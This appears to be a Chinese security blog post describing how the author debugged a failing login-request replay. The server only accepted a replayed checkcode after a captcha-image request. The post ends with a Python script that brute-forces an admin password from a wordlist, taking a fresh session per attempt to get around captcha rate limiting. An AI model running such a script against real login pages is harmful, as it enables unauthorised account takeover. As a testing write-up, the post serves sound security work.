重放数据没有正确回显?头晕俩小时后找到问题

文摘   2024-09-15 09:13   四川  



前言

晚上九点半,会员群师傅突然给我发消息:

感觉应该不难,但我折腾了俩小时也没折腾出来,最后快放弃的时候找到了原因,遂有本文。

正文

经典开局一个登陆框,第一次尝试复现他的问题,首先浏览器手动登陆一次,回显正常:
image-20240915003734926

把登陆包重放,回显异常,没有出现”账号或密码出现错误“的提示:

image-20240915003859381

第一次尝试分析

遇到这种情况我个人的习惯肯定是先看请求包里面是不是有什么值是需要做校验的。
image-20240915004024840
看到这种请求包相信大家都是一眼就看得出来应该去关注什么参数,就是Cookie和checkcode,明显checkcode参数测试的优先级要高,我就先从这个开始,我注意到每次登陆这个checkcode都会改变,盲猜是服务端给了这个code值,果然在登陆返回包里找到了:
image-20240915004530920
ok,感觉希望来了,手动替换了它给的code值,结果GG,没有正确回显。

第二次尝试分析

既然code参数没有问题了还是失败,就得从其他地方考虑,按照流程,我得去js里面看看有没有什么异常的玩意儿

相信各位看JS的名字都知道,没错,我看了半天,里面果然没有什么看上去奇怪的东西,就只是加密密码和一些正常的js。

ok那我换个思路,既然手动从浏览器登陆会有正确回显,而checkcode又是唯一的关键参数,那我就从浏览器加载一遍流程后拿到对应的checkcode,再手动放进重放包里面试试看,果然成功:

ok,那就一定是浏览器那边做了什么我不知道的操作,和后端做了什么悄咪咪的沟通,让我拿到的code实际上并没有作用(当时以为只是code值没有作用),因为从回显的包里,我们可以看见用于判断登陆次数的值并没有增加:

无论重发送多少次包,它都不会增加,说明后端并不认为我进行了一次登陆,而我在浏览器的F12中注意到其实这个网站打开登陆页面的时候自动进行了一次登陆尝试,怀疑它本身要走一遍某个完整流程后才能使code生效,于是我又去看浏览器自动发送的包里面都有什么:

毫无特点,我寻思难道就是要发一遍这俩包过去才能让code生效?玩抽象的?于是我手动重放了一遍登陆包后,再手动给这俩包也发过去,再次尝试用刚才登陆包回包中的code发包,结果还是失败,没有出现正常回显。
到这里我已经看了俩小时了,各种看js,各种尝试,都是失败,已经趋于放弃了。

峰回路转

准备放弃的时候瞟了一眼burp,发现包的序号不对,被跳过了几个序号,瞬间感觉有戏,肯定就是这几个漏的包里面有我不知道的东西,经过和浏览器F12对比,发现被跳过的序号都是图片等数据包,这会儿我才想起来tm人家burp默认不显示图片包,赶紧打开后重新在浏览器走一遍登陆流程,因为之前的所有尝试都失败,所以这会儿我已经肯定这网站里是有步骤做了和后端的协商,于是再一次一一排除后找到了关键数据包:
这个数据包看上去也平平无奇,这只是个获取图形验证码的包,但就是需要获取一次图形验证码才能使重放登陆被后端认为是一次正常的登陆请求,之前由于一直在想办法避免图形验证码校验,也就是获取新的cookie,方便测试,所以一直没有往这个方向考虑,整体流程是这样的:

其他包其实都只是一些正常的获取JS、图片的包,只有这个包才参与了后端的登陆前流程校验,按部就班替换code,重放登陆包得到正确回显,而由于我们每次都可以获取一个新的cookie来尝试登陆,所以其实后端针对cookie写的对登陆次数达到三次后启用图形验证码的规则也就无效了,我们可以直接写一个py脚本去爆破:

import requests
import re
import hashlib
import random

def md5_hash(password):
return hashlib.md5(password.encode('utf-8')).hexdigest()
url_login = "http://ip/Self/LoginAction.action"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "http://ip/Self/LoginAction.action",
"Connection": "close"
}
with open('pass.txt', 'r') as file:
passwords = file.readlines()
for password in passwords:
data = "account=admin&password=4297f44b13955235245b2497399d7a93&code=&checkcode=463&Submit=%E7%99%BB+%E5%BD%95"
response = requests.post(url_login, headers=headers, data=data)
jsessionid = response.cookies.get('JSESSIONID')
match = re.search(r'checkcode="(.*?)";', response.text)
checkcode_value = match.group(1) if match else None
url_random_code = f"http://ip/Self/RandomCodeAction.action?randomNum={random.uniform(0, 1)}"
headers_random = {
"User-Agent": headers["User-Agent"],
"Referer": headers["Referer"],
"Connection": "close",
"Cookie": f"JSESSIONID={jsessionid}"
}
requests.get(url_random_code, headers=headers_random)
password = password.strip()
if password:
md5_password = md5_hash(password)
data_final = f"account=admin&password={md5_password}&code=&checkcode={checkcode_value}&Submit=%E7%99%BB+%E5%BD%95"
response_final = requests.post(url_login, headers=headers, data=data_final, cookies={'JSESSIONID': jsessionid})
if "账号或密码出现错误" in response_final.text:
print(f"密码 '{password}' 登陆失败")
else:
print(f"可能登陆成功了哦~")
exit

最后也是成功让会员折服,直接续费了一年会员

结语

这次故事告诉我们,每一个数据包都有可能是重要的。

后来把这个事情分享给团队大哥们,有大哥说这其实是反爬的一种方式。

image-20240915024113700
我个人觉得程序员可能不是想反爬,可能就是水平不够,直接写死了一套流程,程序流程没有走完就不会到下一个函数里,不知道各位有什么看法,欢迎在留言区讨论。
以上就是今天的全部内容,如果为您带来了帮助,请帮忙点赞+在看,您的每一个点赞+在看都是对棉花糖非常大的支持~ok,拜拜~

——The  End——

棉花糖fans
原公众号棉花糖网络安全圈,更新网络安全相关内容,网络安全吧、渗透测试吧的吧主
 最新文章